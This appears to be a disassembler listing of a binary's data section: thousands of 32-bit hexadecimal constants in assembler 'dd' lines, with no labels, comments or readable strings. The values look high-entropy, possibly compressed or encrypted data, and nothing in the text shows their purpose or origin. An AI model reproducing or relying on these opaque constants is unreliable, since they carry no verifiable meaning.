dd 2C4E611Eh, 0EE4B592Ah, 1C68A1ACh, 1E1C3408h, 87C4D214h
dd 0FEEBA57Fh, 0AF5F0500h, 0BD292B1Dh, 8AEC1702h, 59531AF7h
dd 52253FE0h, 0B03F03EEh, 9542BF9Bh, 4CE5B38Eh, 338601BBh
dd 0C229654Bh, 81295E3h, 0C88018A9h, 0E97B7257h, 0C6E2062Bh
dd 7F27903Ch, 1FCB6803h, 0BD1121Bh, 268E0697h, 0ADF21A44h
dd 57F08957h, 59AD0D97h, 78F2252Bh, 0A9F1F302h, 0DF4B169Bh
dd 0BCEE8EFAh, 34EF392Ch, 9F2ECD02h, 7BFA7529h, 3D64430Ah
dd 0E904B847h, 38EB9D2Ch, 0F80B303Bh, 2949D3E9h, 8105FC7Ch
dd 60476D2Eh, 64BB2F5Fh, 0EBF5C792h, 5B6B8D5Ch, 0E95704EAh
dd 4E25F80Dh, 0D594D6B3h, 96A9B64Fh, 3520FD03h, 2DD6A807h
dd 0E16E5B6Ch, 87070589h, 2113E8D6h, 140404EAh, 3602136Fh
dd 0F67A3068h, 7E536312h, 945F81CCh, 2B300CFh, 0C9C33D80h
dd 30B7B680h, 0C1685AF3h, 0B4312E5Fh, 0EE2B653Fh, 7493FB61h
dd 68560A80h, 477E4F59h, 6D4D82F6h, 29A10770h, 65EF1F24h
dd 0CD899A7Bh, 0ECEFE56Ah, 96978CD6h, 62D9FAFAh, 0D7F646A9h
dd 0B90967Fh, 0ACEE80FAh
dd 0B151BDB0h, 0E9079F7Ch, 0C0C1FE68h, 0E4720357h, 2E8DC4BAh
dd 400B8DE8h, 21710B5h, 4AD7CEA2h, 9DA5C16Ch, 0E429B87Bh
dd 0FC480AB7h, 8602263Eh, 0D4EE922h, 7AFFE869h, 4DD4E1F8h
dd 0E21C7F04h, 0F603C023h, 6E584F3Ah, 6DEE00E2h, 9CA34DCh
dd 0B9E913F1h, 89CBFBC7h, 4828257Eh, 2D215B23h, 5D5A09A0h
dd 6B49519Fh, 0DD272DD3h, 50DB1982h, 3EB46F0Eh, 5E37341Bh
dd 8328EF29h, 0C5599D3Ch, 0E7855F97h, 0C4B4A4A8h, 0A08B2039h
dd 7D5FEE46h, 59F56E91h, 41CC8001h, 0EC89F4DEh, 6697866Bh
dd 27B4312Ch, 0E0D4EA27h, 58945CD0h, 5E479780h, 9F1816Ah
dd 792101E5h, 0F587EAFFh, 73977364h, 5CBA011Eh, 4030182Ah
dd 0FE3494C2h, 0E6811901h, 757B034Dh, 5753FE3Ah, 245A2200h
dd 7D29DE40h, 813926EFh, 7857E277h, 0D820500h, 356E00D8h
dd 55C55C73h, 3A775625h, 0A31E0F7Fh, 0E90B3E13h, 3DA4DF16h
dd 5A0BAC1Bh, 62A975BCh, 6F5E7656h, 5E2F9328h, 5D6C3130h
dd 0B26389B3h, 617D5E45h, 6B2A0282h, 26983F0h, 0E9727003h
dd 0B87297C8h, 0E91CAB27h, 0B63B5D6Ch, 0E52F1055h, 53176448h
dd 0A3DC4175h, 4013AA05h, 18313A97h, 35E07A4Bh, 265B3B11h
dd 431EED05h, 62BFC1BEh, 685C0093h, 5C57E350h, 6249E57Fh
dd 0F2F746B8h, 705AA6EDh, 1B3A792Dh, 0F751BB4Ch, 4319FDFBh
dd 59167F0Fh, 0FD0484BCh, 0EE407001h, 31B3EF81h, 4EAEB73Fh
dd 0F12AF3D9h, 0D2FE7696h, 0A0B7ABFCh, 203DE6BFh, 1E01BEE0h
dd 0E9FFDFC2h, 77C29810h, 13894D71h, 0E273D4B8h, 4D4259CAh
dd 527D0929h, 98819805h, 5C819A2Dh, 0EB0204E3h, 1F08379Ch
dd 0C7A21E40h, 0A99F52Eh, 7CED0342h, 53B46533h, 8A0FFBB0h
dd 7DC7244Dh, 5A99E9F4h, 818CA22Ah, 6D74DDC7h, 73EF7490h
dd 0EA9BF70Bh, 99C6E08Ah, 2C4F835Bh, 247B03B9h, 0B7DE2BA0h
dd 0F77090Ch, 0DC5A69C8h, 34F65938h, 595E391Ah, 630009A2h
dd 812C063Ch, 1E14F2E1h, 24F41532h, 0F1820F04h, 61BC5E57h
dd 0C075D886h, 0CD28527Bh, 750CA76Ah, 0CDE96C82h, 5B5220F0h
dd 4D0ED3E1h, 69EB160Fh, 9EE86BBBh, 0B4E3BC4h, 28E1565Ah
dd 0FA9A6BF1h, 99B9B475h, 934B08A2h, 4093782Fh, 450FBF75h
dd 44020D56h, 77BC5271h, 9DCF1C9h, 0B5F6A5h, 29BB64DEh
dd 0C5AA3E9h, 389311A5h, 7B0045E6h, 25CAB348h, 8BCFDEFCh
dd 5B16AC5h, 834CC05h, 0E069E92Dh, 175CB83Eh, 0BA0D325Ah
dd 28BDBA44h, 680238FFh, 9C77E32Fh, 0E58144E3h, 5D127617h
dd 1B9874FBh, 59A2620Ch, 0B7489E7Dh, 0B5FEC332h, 0D9C2AC2h
dd 4FE3DFAAh, 67FF0E4Eh, 14ABA173h, 9FC26ABFh, 0D2E57756h
dd 9013994Ah, 12E03AE4h, 0FE12C111h, 0C04467E5h, 8CBF0B12h
dd 2317902Bh, 0D0BE48A5h, 5102F82Ch, 9EC59C4Bh, 0AFB476E8h
dd 5BDB51F4h, 9A21FB8Ah, 0B97AE831h, 36DD3CCCh, 84DE08EBh
dd 68500A08h, 62ED291Ah, 92645D58h, 4C4CE522h, 8B20C5E7h
dd 494EBA16h, 631030B8h, 2D5B0AD4h, 1A42AF01h, 94D9F5AFh
dd 176C8D0Eh, 0B9CBBEh, 63E85976h, 410E525h, 0E9480FA5h
dd 3E4AD95h, 274532C2h, 0C0CAB379h, 0B765FB7Dh, 0D1351224h
dd 74575225h, 0E2D24EA6h, 0B1DA6E00h, 0B89CE2Ch, 99BAE9DFh
dd 3C87F77Eh, 3144B29Eh, 0CA921FE5h, 45CDB3C0h, 60AA3BCFh
dd 6EA5E946h, 4A2D28C9h, 0FA2102AEh, 0D3F6037Ah, 0F4CA1BBAh
dd 0BD41D0F5h, 714D0DE4h, 0B0BF0301h, 4BF708h, 5B079394h
dd 8CCFE937h, 0BF9CCE95h, 3C64AFF6h, 0A5D0154Ah, 0EA251570h
dd 246FF12Ah, 21A108Dh, 21FFFC2Dh, 4F745720h, 8CA7DC72h
dd 42C52EE9h, 549E683Bh, 175F70E8h, 52EF2653h, 1362FDBCh
dd 0E8B2A637h, 0FD88D512h, 7D251063h, 4A6DB836h, 5681F27Bh
dd 0ACA0A641h, 45D6BA00h, 893EB07Eh, 34D212D1h, 5D80EB34h
dd 79EF79AFh, 5DEA1243h, 0BCC81631h, 0DF889825h, 2679954Ah
dd 8BAF5F45h, 59E90BC9h, 271C5F6Fh, 885E52FAh, 5F789CA6h
dd 20A2B7D0h, 1468130Bh, 0C975A871h, 5BD97807h, 2E202D05h
dd 0EB5B97A8h, 0BD693029h, 0FB6D5C13h, 3151EB61h, 492B6F8Ch
dd 59D5549h, 52FABD1Bh, 5F09FF07h, 5A21565Fh, 0D292AD54h
dd 385134A4h, 0CB25ABB1h, 74271E5Eh, 0E9CF859Ah, 48ED4A1h
dd 0A46A53ACh, 5854C5DCh, 0F23D81C1h, 7D12127Eh, 0F06A32ABh
dd 0F748D358h, 0D30510BAh, 80815518h, 0C4277D2Ah, 6528710Ch
dd 0BC0F57F1h, 207FCB23h, 78FEB841h, 0EF3E4B22h, 62EFD4D5h
dd 70495D3Fh, 4CC30483h, 0B37E1DD0h, 0C52FD70Ah, 9EC4AE4Ah
dd 18097C81h, 0B6BA312Fh, 91EBA880h, 0FE5A5209h, 0F7F889F9h
dd 4B2AC4C8h, 51C7499Fh, 83C4717Bh, 497A88C0h, 9CDD2DB2h
dd 0DFBBAADAh, 2D886A53h, 0D5F7074Ah, 0A1508245h, 0BD06D95Dh
dd 738F697Bh, 4D54FFC0h, 9339FC3Eh, 1C28F47Ah, 0CBDB50F7h
dd 9577B26Ah, 0AD3D2654h, 5E227FF2h, 410549F1h, 2E8BC401h
dd 3AF02A58h, 4271958Ch, 7579AE42h, 16BDFC6Eh, 0A524961Dh
dd 58F22BD5h, 0DB050799h, 0A51AE861h, 4CEB080h, 6E594D77h
dd 9C553EE7h, 572587A8h, 35094496h, 80176973h, 0EF551FF3h
dd 0D760950Dh, 0FE0B6856h, 8158C853h, 46B7BEAEh, 0CF057FEAh
dd 0D3C7AD8Fh, 0F7023CBEh, 0F6E9F909h, 7D10577Ch, 112F1039h
dd 0E9F51848h, 0C2C3644Eh, 8454C05Eh, 45E21E25h, 705AD0C9h
dd 8394BD16h, 52955D97h, 3049E5AFh, 456D0FD2h, 0D6F76913h
dd 3774E0h, 26051BBDh, 14D8835h, 128FC65Ch, 67908491h
dd 480252C5h, 90131A0Ah, 162F1208h, 132CE8B6h, 0B4BC9FE8h
dd 0C2614AA1h, 56AFFC75h, 4AC38002h, 7D6A26E9h, 659D1A1Eh
dd 89FF255Dh, 4BC07702h, 0D6B778B0h, 0E18180EEh, 61B469B8h
dd 64000CDDh, 0BBE9363Eh, 0B4F19DAEh, 97EA78C9h, 7FB13AF7h
dd 9B45C5D9h, 0B22004F1h, 2FD59C98h, 5018F3F4h, 2D6F8242h
dd 0FB744348h, 0AABF5701h, 3D21414Ah, 2F1BB9E8h, 0E1DE0EA5h
dd 9440BA13h, 7DF24CBFh, 3C1D9823h, 49A7748Ch, 8A01C7Ch
dd 25AE5F5Fh, 126BAC79h, 8A8430E9h, 0AB2F14F1h, 4189937Dh
dd 34203CE9h, 305D0F7h, 12022C1Fh, 3AA88A16h, 57CB334Bh
dd 5DDCCEE2h, 0C40F380h, 5C010AE5h, 0EC303EDAh, 7187EB1Bh
dd 3853483Bh, 7B4282CBh, 0E2E3D17Fh, 5F207082h, 2716F333h
dd 0C93ADD52h, 946B5103h, 99F2C916h, 0D7647009h, 2765E9E0h
dd 0C23CEC2Fh, 0A1070EB6h, 6C696B4Bh, 0E11EF564h, 4284DC2h
dd 9A84D6E9h, 793C0433h, 0D1800662h, 0F39B2A57h, 21A2A940h
dd 0B677680h, 0B614BBE5h, 0D58311D5h, 9E65071h, 0A7B0157h
dd 0E6824A5Ch, 2DDF7227h, 59B5CD40h, 232E03Bh, 0A61C99CAh
dd 12A0F564h, 0BB460E76h, 5AD52917h, 33E4D0ABh, 0FBA052h
dd 41627B77h, 0CD32C4CAh, 57A36C92h, 0BF7A22C9h, 7CF587D7h
dd 72B242D6h, 0CF3F765Ch, 0AB58FDE5h, 0A27F7CAh, 6F54FDC1h
dd 0F4A839D2h, 5AD3E2D4h, 0CB33FE5Fh, 0FA77CF03h, 8FF5FF07h
dd 778989FEh, 5BF82968h, 2E4B0337h, 6308748Fh, 0DB3F411Ch
dd 80180475h, 0AE095973h, 0E985EFF2h, 4F05AC8Eh, 0B4F60FACh
dd 1D11420h, 512FCC80h, 41C06BB5h, 0ECCDFEA6h, 0F639EBF5h
dd 81D53BDDh, 0EC28C6EDh, 0C02B2059h, 52AAC786h, 8236B63Fh
dd 87E9B1EEh, 6775547Bh, 8B04A650h, 0E2C14A0Fh, 247D2B05h
dd 0A6F433F6h, 0B10B498h, 0B0DFF828h, 1C7AB71Ah, 2886F780h
dd 9CC1E085h, 0CCC22F81h
dd 463E6282h, 20CADAF7h, 527DC11Eh, 0EE391832h, 0F1F25F29h
dd 0BF5BD9F6h, 5590DAE4h, 56208848h, 0CC059539h, 6FEFCA87h
dd 0D7D3366Fh, 53750104h, 0D661B9BBh, 738C7E79h, 60DF2EE9h
dd 657EEBA6h, 0E6FA2DBFh, 0B76CB027h, 25292F89h, 0B79E7FFh
dd 645545CAh, 0A0C27817h, 8230E175h, 6248FB77h, 0D1DF47C4h
dd 3732625h, 4CD21EA7h, 1F489EFBh, 16FD3C93h, 1A44F01Ch
dd 0D0805FFEh, 5AB86B3Fh, 7141FB59h, 2048FAEAh, 0DC784AEAh
dd 224485E6h, 2776BC98h, 3F1C963Dh, 0E34FB768h, 4EF09307h
dd 22FC9D2Fh, 3D7A5871h, 0A3E3013Ch, 0C26C24F6h, 20E7FEE8h
dd 0C01E226Eh, 0C51F06EDh, 0E9B6E542h, 3420DDAFh, 0CB449DC1h
dd 0F9291F1Eh, 7B08513Fh, 0F134CB8Bh, 0EEE1AB32h, 2226030h
dd 0E9770569h, 824C5034h, 620DD9Dh, 2E8541C4h, 37F9488Ah
dd 5E44B5C2h, 1A2D4FFCh, 5D6D6265h, 0B186C0Ah, 0C4756878h
dd 0EC435BD1h, 4B8D037h, 13251B31h, 0C3B50AEFh, 0A1E90908h
dd 0ED6837A0h, 944A5BCDh, 34CBBF80h, 294332F4h, 88FE9CEh
dd 7C35BDFDh, 14E2F871h, 50FACA87h, 0E92506E1h, 0F6DDC20Bh
dd 3EF76B99h, 0F6F697D6h, 41B0BFC7h, 7DF736A7h, 1EF19D7h
dd 0E6810C4Fh, 6C8E4CC0h, 67F83135h, 9B5C14FAh, 40088CD9h
dd 0D15BE59Bh, 21B8454Ah, 0E982066Fh, 46D74954h, 0CD28F502h
dd 2BC9F15Ah, 941F4B61h, 0B8805A78h, 349A1390h, 8295EC3h
dd 0A9522612h, 0B252876Fh, 5AD702C0h, 2A6A8469h, 0F8A92DEFh
dd 2818A6C6h, 0C2365AF3h, 0F6CA1BFEh, 40908D2h, 0AB82E4E9h
dd 9FEAD73Ah, 69C3E900h, 0E92D2989h, 926C7C62h, 7B6FBDEEh
dd 17DF8430h, 1D37D7C5h, 0B4292C26h, 0B0813B4h, 35DA6A36h
dd 1DC3784Ah, 61EEBC51h, 5023D3Bh, 1A2EA0EBh, 0B85E8140h
dd 956C8E5Fh, 0C2FE18F5h, 1BFC25E9h, 0A2091867h, 591619B2h
dd 0B291A22Bh, 13235E29h, 0A5FAF366h, 0A6138DFBh, 5525EC86h
dd 0BF3368B9h, 0DA991720h, 4196ED22h, 0E3ED031Ah, 0A19DBC6Ah
dd 3A7C5BD8h, 2736BDA4h, 5DFD09E0h, 49E642F0h, 13614AF6h
dd 2DBF682Eh, 2427337Dh, 0D0528C54h, 0B951237Fh, 0F2061A02h
dd 0D4AFF5Bh, 52590802h, 8B1D4555h, 1C52E2D2h, 0ED172D08h
dd 0C638BF4Fh, 27B88ADAh, 4E0A07F7h, 0F309A62h, 328F5F29h
dd 0AE492EE5h, 975ACBA3h, 0BF58963h, 0EFF276FBh, 0D1718564h
dd 0E0E8297Dh, 19B71CB6h, 7D61E3Fh, 0E815E451h, 0B3BB00F6h
dd 293E6375h, 20D49018h, 0CFE04257h, 472A5964h, 2092C9BEh
dd 7AE1873Eh, 681640A6h, 10AA91F7h, 0D888016Bh, 0D7DE43DDh
dd 0FAB5AC14h, 9F6A90E6h, 0D5A5AF91h, 3B0420EFh, 717B4F41h
dd 2A56AFEFh, 40FC5698h, 0AB09B1D8h, 5911DE68h, 0DBEA8B00h
dd 895E6D57h, 0ABD858E9h, 48DC2D05h, 10FB3443h, 0E91607DBh
dd 0CBB1D0DEh, 332C2B4Fh, 0B3168F19h, 5F6E9ABAh, 41E662A4h
dd 0E8816E45h, 0CC7F9811h, 663B047Ah, 6AD8A858h, 443BCF80h
dd 25CEABC3h, 7763F373h, 0AD0A250Ch, 1D82C180h, 0E91A1131h
dd 0DF549A6Fh, 5094BC48h, 68533EC1h, 1A614943h, 0BF125639h
dd 162CE34Dh, 95F90472h, 9A671D96h, 4BD6DD68h, 4C751885h
dd 4399DFBh, 0C98BBB0Ch, 979EFD5Bh, 8F59D191h, 39A9BB41h
dd 0C281D554h, 33D2F8Bh, 45789D0Bh, 506E8882h, 1A82FD09h
dd 89293274h, 0FEFA80E7h, 3028C045h, 310BFABBh, 89BF5FFBh
dd 80920FC7h, 0C143EB66h, 0D0401E0h, 788C7DF2h, 8D4FC835h
dd 8E027975h, 1073330h, 3C8885C7h, 84FD20BBh, 134E5817h
dd 298097C7h, 341F421Bh, 42ACF801h, 69E9F008h, 800B5DD8h
dd 8366DDEFh, 0BF282E7Bh, 0F8055967h, 587EF44h, 0D4D4AF1Eh
dd 4DFCF1DAh, 5863301Ah, 5AD58800h, 0F6BBB450h, 0C48004DCh
dd 0AFE5200Eh, 0C3ECBEC2h, 908A737Dh, 0E1357E3Bh, 779A62C2h
dd 701A63Ah, 7A405AE9h, 74CA4A7h, 5E8E9027h, 0BB4049A5h
dd 44110831h, 784AB22Ah, 5CE4EF54h, 0D3635548h, 0F796D109h
dd 0E916229Ch, 14902E5Eh, 4B96DD95h, 0EA96A4E4h, 887E5D54h
dd 822FC17Ah, 0F516C858h, 31762645h, 67AF1FF9h, 0B8534F7Eh
dd 98265B60h, 690C6E3Ah, 1912C8C3h, 43DBB5E7h, 0F9305AF8h
dd 2E56A158h, 816075CAh, 2D2C79F1h, 8DE253A6h, 2134A801h
dd 22857B71h, 3FBA6A44h, 0A9F19B90h, 768C2825h, 7F140CF1h
dd 0B8187C08h, 0AF85E013h, 1CE9EC02h, 889AD773h, 268B707Fh
dd 82CFAB72h, 479C4FD3h, 0CBB871DDh, 289A44DFh, 60BB5351h
dd 14EF1B89h, 0F2F7E1Ch, 6C21D757h, 6B6CC1E9h, 751057A3h
dd 3ABD0506h, 0A9170EC6h, 0C5FE4794h, 1572DDEh, 425ABF0h
dd 802824AFh, 6872A54Ch, 9DE85D4Bh, 0FB325FB7h, 0EC3F032Dh
dd 98B3A6D7h, 6F7C415Bh, 992D34C1h, 9B5A1CFh, 948258E5h
dd 0D3526457h, 5F864AE0h, 5F393627h, 80241C2h, 54EC5859h
dd 9C0CD260h, 0BF94DDE9h, 22F01B44h, 6810B461h, 306B7945h
dd 125A7ADEh, 9BA04E4Bh, 6FF22E1Dh, 9F5C1540h, 4E38E95Bh
dd 661705B8h, 0E490EEADh, 0FA7BFC09h, 96A1B0F1h, 81CF2880h
dd 277C32B1h, 7F91BE00h, 84BB398Ch, 13F01E1Fh, 0DE858DC9h
dd 60F3BBE0h, 0DC040E8Fh, 46583E68h, 0E5B7C478h, 758030C1h
dd 0AA562498h, 44005706h, 328E0D3Fh, 2354573h, 41FA6EA7h
dd 5EE1C689h, 0B2468937h, 0A030870Eh, 5F21CDA2h, 58A53A97h
dd 0F29E953Dh, 0B127BB7h, 10278AEBh, 7C472DFh, 70DEB769h
dd 1A9785D0h, 3A29D5D2h, 2918F157h, 0A2E96128h, 37FE2EF3h
dd 0A8B2A21Fh, 72DDE3A2h, 628F440Fh, 0C60567EDh, 0E17AB35Ch
dd 7DFA2B45h, 0B86A819Fh, 9CE1D28h, 0C2515FC6h, 7E0BB4A0h
dd 5621EE68h, 93E2883h, 3B9F5479h, 40B7960Fh, 0FD9335ABh
dd 2AB0D7C9h, 34B02284h, 595475A8h, 46BE779Dh, 3B62E695h
dd 97704768h, 20AD95DFh, 0E9570D6Ah, 0DE967062h, 0D9021357h
dd 16923D56h, 33D5FB29h, 6BBEB5BAh, 16B2CE37h, 2E9D79A0h
dd 662A8CCAh, 48132D4Ch, 0D1CF155h, 0CF7E8682h, 50E05F77h
dd 54B7A408h, 685CF8B9h, 5E659F25h, 56B77EBAh, 3CEE4251h
dd 67D571FFh, 5C604668h, 503EDCBDh, 14B4C7E9h, 0B123F327h
dd 0CA0E6842h, 2050CC7Fh, 0FF822967h, 5A5BEBD7h, 4C67FD0Ch
dd 802539h, 4018BA4Ah, 0CB84B53Bh, 0E430AE5Eh, 704B6850h
dd 0BCD59D7Bh, 0E9D5C2D0h, 2B54264Ah, 0A4B05043h, 29169EC2h
dd 95A8F85Dh, 0EE0986E5h, 5F2D197Ah, 0A4662DE4h, 5B0158F5h
dd 15346707h, 0B80AE46Eh, 0AC5A258Bh, 60E31A8Dh, 48230C22h
dd 0C7D91667h, 86014480h, 294E60F1h, 53EEC25Ah, 54D0AB0Eh
dd 14EB8143h, 0BC3F260Ah, 5079AD10h, 524AF152h, 0CCC55FD0h
dd 0BCA17904h, 11123067h, 0FFF3D640h, 0F95741C8h, 4AAAF64Ch
dd 0A7D81BE5h, 0F5599FB6h, 8F3FDC2Ch, 0C94FAF4Eh, 0E830D08Bh
dd 5F179504h, 0FE9F302Ah, 1A68C1B1h, 594B334Ah, 81BD1890h
dd 1728C347h, 0E27FD072h, 0C8FA9647h, 600BF382h, 0C5A9D46Ch
dd 7F3382F8h, 45F02AFh, 4F868303h, 0AC075E0Ch, 72EC1A3Dh
dd 991DF31h, 5956CE1h, 743D6859h, 2918FB4Bh, 18F03C24h
dd 1757A3E9h, 2F178CE2h, 200D69AAh, 0A92A3C54h, 3EE9A003h
dd 18E89F10h, 9696BDF7h, 0D66AF273h, 1BB50468h, 0C182EE2Ch
dd 0F4EB2022h, 0D5A0B859h, 17C01D71h, 0D01F73C1h, 0C4429090h
dd 493ACCD8h, 41A2AFB2h, 34E86958h, 9364A770h, 2243269Bh
dd 0F8050794h, 5013C721h
dd 32122984h, 7CC1E9BAh, 1CEC72A9h, 0BF84CCF3h, 0CB010804h
dd 0E90AA7F6h, 2F5A17D9h, 0A4BD51F6h, 548B64CBh, 54CDFE5Dh
dd 1B093AEBh, 0A938DF58h, 0AA2859A1h, 2B0EB760h, 0C06AD470h
dd 7EC9C8F7h, 6EC0B7CBh, 0F8560FE9h, 6E0CD6CDh, 0FF5814Ah
dd 76EC5B2Dh, 0D292D565h, 0B275D731h, 2D09576Dh, 52608A7Ch
dd 2C3155BAh, 0A40AF5h, 481B30FDh, 0C90CCD81h, 0C329B69h
dd 0B134179Ah, 652F082Dh, 0E956500Eh, 0E8D3430Ch, 5C5C7C08h
dd 5A20A139h, 5EDA681Ch, 0E518FF2Dh, 7EBD3A0Fh, 0C8FEC926h
dd 0C6C7FCA7h, 31696257h, 8017D027h, 39F7ADCh, 8B053A29h
dd 295691Ah, 674F5FAAh, 0F70223FCh, 846075D4h, 37EAD5DAh
dd 39CF8316h, 0DE301013h, 9C4900B0h, 8C68004Ch, 5E58EB51h
dd 4ECE8107h, 80B9D054h, 3B12985h, 80564BDDh, 0EA4363B2h
dd 0C2C46D4Bh, 3EB80712h, 13566689h, 7D307B89h, 0F7BB0039h
dd 0E950D70Dh, 0B73A93A0h, 0DC5A8B42h, 2B6EF9A1h, 6A850BB9h
dd 5D81A41Ah, 0F727E2BDh, 0B89DDE25h, 46607641h, 0CD2D8F20h
dd 0E8BAA12Ah, 0F101AE2Dh, 78C059DBh, 25E9F3D1h, 51AC85FEh
dd 4C8328B1h, 0BC41E16Fh, 90D13924h, 73840C38h, 9E585C85h
dd 147F2A05h, 0C8EEF129h, 0E424682Ah, 16F0E35h, 71DD63E3h
dd 800C352Bh, 5A311EC4h, 0A4352000h, 2122334Ch, 425804C2h
dd 0BC3EBAE9h, 24A8935Ch, 0A27BC384h, 0E092603Dh, 160F5F20h
dd 0B8771468h, 0EB8D666h, 0B8585107h, 5053540h, 0DCC18906h
dd 784A4DE9h, 574E88FAh, 887E0FBDh, 0DA5827B1h, 3D3A0507h
dd 0F8827AD7h, 5F07852Dh, 6BB8A0AEh, 59BAD913h, 41ADEBF0h
dd 0BDED00E3h, 36502B78h, 7D1FD5BDh, 0E1002D89h, 6C715BF6h
dd 84D04BE9h, 42AA831h, 6AB6C0EDh, 0E9C888EBh, 0B7A1462Ch
dd 79105DAFh, 69BF5D16h, 45BD6E2Ah, 7D9B9E99h, 0AEE52EEBh
dd 0D72A45EDh, 5CA2630Fh, 88BA0C4Bh, 384B2D7Eh, 497950B3h
dd 5D0BB33Ch, 0B47F148Bh, 0F87CB57Ah, 6B315C52h, 7FB94907h
dd 5A68AE17h, 0EBBA5F4Dh, 69355F31h, 7294D73Fh, 535664B6h
dd 53705D49h, 0B5A5EA5Fh, 6860FAF1h, 0E574B7C6h, 0BB442CE3h
dd 0B7F88309h, 0A527BE4Fh, 5992FB23h, 98436346h, 97B2F3CBh
dd 2CFE66D8h, 0BF1EF1B6h, 0D3C008C4h, 0E6C20787h, 2DC5C57Dh
dd 0FA591DB1h, 25F36800h, 29385F05h, 0CBF0DB11h, 6E143E18h
dd 508FD3F7h, 0B5A23B2Ch, 0E9612AF1h, 8D3B45C9h, 20C7BA93h
dd 0B9660E1Bh, 218716FDh, 9B5977CDh, 0F9607EE1h, 8D0EA855h
dd 0B34C183Fh, 3FC7105Fh, 680F5D0Eh, 579B7FBEh, 20BD2E01h
dd 19A5E948h, 13E460A6h, 2EC9BE63h, 0C5FAB73Bh, 9895E8D1h
dd 0B888DCBBh, 0B9474419h, 1DC460A0h, 14099E02h, 0E90C08EDh
dd 0EB337C95h, 76319E09h, 73425D29h, 7FE90801h, 78CA7A85h
dd 96483214h, 2321AFD6h, 4E073C5Ah, 0AB9F7DC5h, 0CBCDFD47h
dd 44DB7C4Bh, 42F6F452h, 21BBE05Bh, 72AFD97Eh, 89538F96h
dd 55CEAB27h, 0FEB724C1h, 7038AB61h, 0A5C02CB0h, 5C2D9DCEh
dd 6789773h, 9CFC9980h, 0C0FD7F2Dh, 69C4E9CCh, 0A16899A3h
dd 75C1365Dh, 37920EFh, 0E66B5BE1h, 0E9F9D8B0h, 0BB3BC040h
dd 548A2B2Eh, 0A0003791h, 55597877h, 57320268h, 55D01F0h
dd 9FB0D85Fh, 0D2970564h, 1D6C04C5h, 0C15720FAh, 6A527824h
dd 1828DFC9h, 597F3610h, 0BF530AA7h, 42139A2Bh, 9557504Ah
dd 69DAFE09h, 96354E1Fh, 35A5F06Ah, 46606503h, 0F9C6092Eh
dd 486FC951h, 0B1C07D10h, 7419310h, 0E239E981h, 0DFD4CFBFh
dd 0F1EF969Eh, 0BFF32F2Dh, 95EF044Eh, 5BE178Dh, 0BBDBF70Fh
dd 0F81CA832h, 3A91205Ch, 0F95BEE96h, 412A8F30h, 27027027h
dd 0B5AC3A6Bh, 26820073h, 0E94A01C4h, 0A29572E4h, 4045051Dh
dd 283DA971h, 0C3863Eh, 6E284403h, 20E9EB29h, 0F282349h
dd 24D58851h, 3CFF1E61h, 281682EEh, 82A43296h, 306AEBDEh
dd 0E72D5E7Bh, 4084285Eh, 15D0703h, 0E41193D9h, 0F11833CEh
dd 1EE5FB47h, 6703213h, 0BA5E25AEh, 593ACC01h, 127B7175h
dd 1BD9D8BEh, 0E37E7A45h, 63CA6419h, 1078A14h, 30FDEF80h
dd 0CF2827C7h, 406E10DDh, 0E2E98702h, 1240AD8h, 327808F7h
dd 0C376F020h, 71EE9DC0h, 2438C7AFh, 0B9BF089h, 80AF0AAEh
dd 0EE5FFB25h, 396D3790h, 0B820608Dh, 58C5488Eh, 0C5EDD128h
dd 97252BF8h, 46C3DE55h, 4FB863E8h, 6E92799Dh, 6051C980h
dd 0B34173E9h, 76C9BC3Fh, 9F71775Eh, 0E27E90EDh, 83D19328h
dd 272E715Ah, 0D10184ACh, 44DF87F1h, 7A8CB199h, 0F41733A8h
dd 0D3C3D079h, 30E31D18h, 20362BFh, 28E965F7h, 0AC516BF6h
dd 7C5CB700h, 99D163Bh, 0B40BD5BBh, 6857FD00h, 469529CAh
dd 1B9F2795h, 605FF649h, 0C3A8DEBCh, 4E629A68h, 94BCCD3h
dd 37103DFh, 70429881h, 5BEB8CFh, 203E6AF3h, 16F1E838h
dd 0D9EBC4DDh, 59CD7BEAh, 407EAB22h, 20B059Fh, 9322676h
dd 0D64642E9h, 477DE929h, 116806A1h, 585BA744h, 9AF9013h
dd 0C65F5FC5h, 19559764h, 48357B53h, 0B582B86Bh, 1FD86131h
dd 0D12A2D00h, 400E8D25h, 8064B54Ah, 0E8E0302Ch, 53130474h
dd 94097AB3h, 2F37D4D0h, 0B062A3D4h, 3FEC1627h, 351A6EB5h
dd 804E6D1h, 0BB00B4EFh, 7C404598h, 5BD92421h, 698A04EEh
dd 0E187C054h, 0E32852C7h, 660F657h, 0C623AF1Eh, 5A7B9569h
dd 1633640Bh, 0C0287B9Ch, 947BF567h, 0BF70576Ah, 8D0C10A0h
dd 0C1D84681h, 0A0DBD61Ah, 335E0AE7h, 6FDFE5F9h, 32FB2D22h
dd 87C125D7h, 692CFBF1h, 5A56838h, 9020D7C6h, 4476B79Ch
dd 422319A5h, 17FBD870h, 0F1682028h, 8AAC2B45h, 0D683E83Ch
dd 0B4BE96Bh, 27679F59h, 0F086C1C0h, 81D2882Eh, 7726F67Eh
dd 0C6016C8Fh, 80AEA8B7h, 22717DFEh, 0F3BFDE65h, 49B9A3Eh
dd 0EF1227ABh, 0FCBCD9C4h, 0A2C61F5h, 15E0041h, 317AFBF9h
dd 332205Ch, 603CB147h, 58C4B32Eh, 9D75200Ch, 0C198147Fh
dd 4CE95425h, 0DE2B3495h, 1C6831Eh, 5C211AB4h, 112DB2B5h
dd 745B2B3Fh, 5B62FFD8h, 9CD5F0E5h, 0EA54549Ah, 0DD4E88EDh
dd 6F46CF05h, 0E248B2BFh, 0FB5C0487h, 0D89204ADh, 9327E9A5h
dd 0B080D247h, 10620F68h, 8AA40C99h, 0B4B1CC4Fh, 922D7B7Ah
dd 54C6990Dh, 12D6B23Ah, 0F3BA418Dh, 319A84E8h, 0AFD30FFCh
dd 6ED1B70Eh, 15C6002Dh, 0D3CDE9EAh, 4BB3BE5Eh, 0A1A5B4DBh
dd 0D7F7E0AFh, 0D2334E95h, 0A3A2BA1Bh, 0DC681262h, 0FF57B277h
dd 57976950h, 5E407216h, 0A92D1F21h, 0EC29660h, 195D2AACh
dd 2A53E7FCh, 0CDA0BCBCh, 38585B63h, 8F542E02h, 7FECD089h
dd 7B1EC87h, 0A119D5DCh, 43A07B1Ch, 4B03132Fh, 9627AF7Ah
dd 2B8858C1h, 0E66B446Ah, 60B800F4h, 0F444AC79h, 0F6D9B7BCh
dd 8B17A202h, 8EE6C019h, 68A1C186h, 0D2DE7547h, 9E432A74h
dd 0C937047Eh, 816D3DC0h, 0C883F1FFh, 8CBEF61Bh, 6CF22D01h
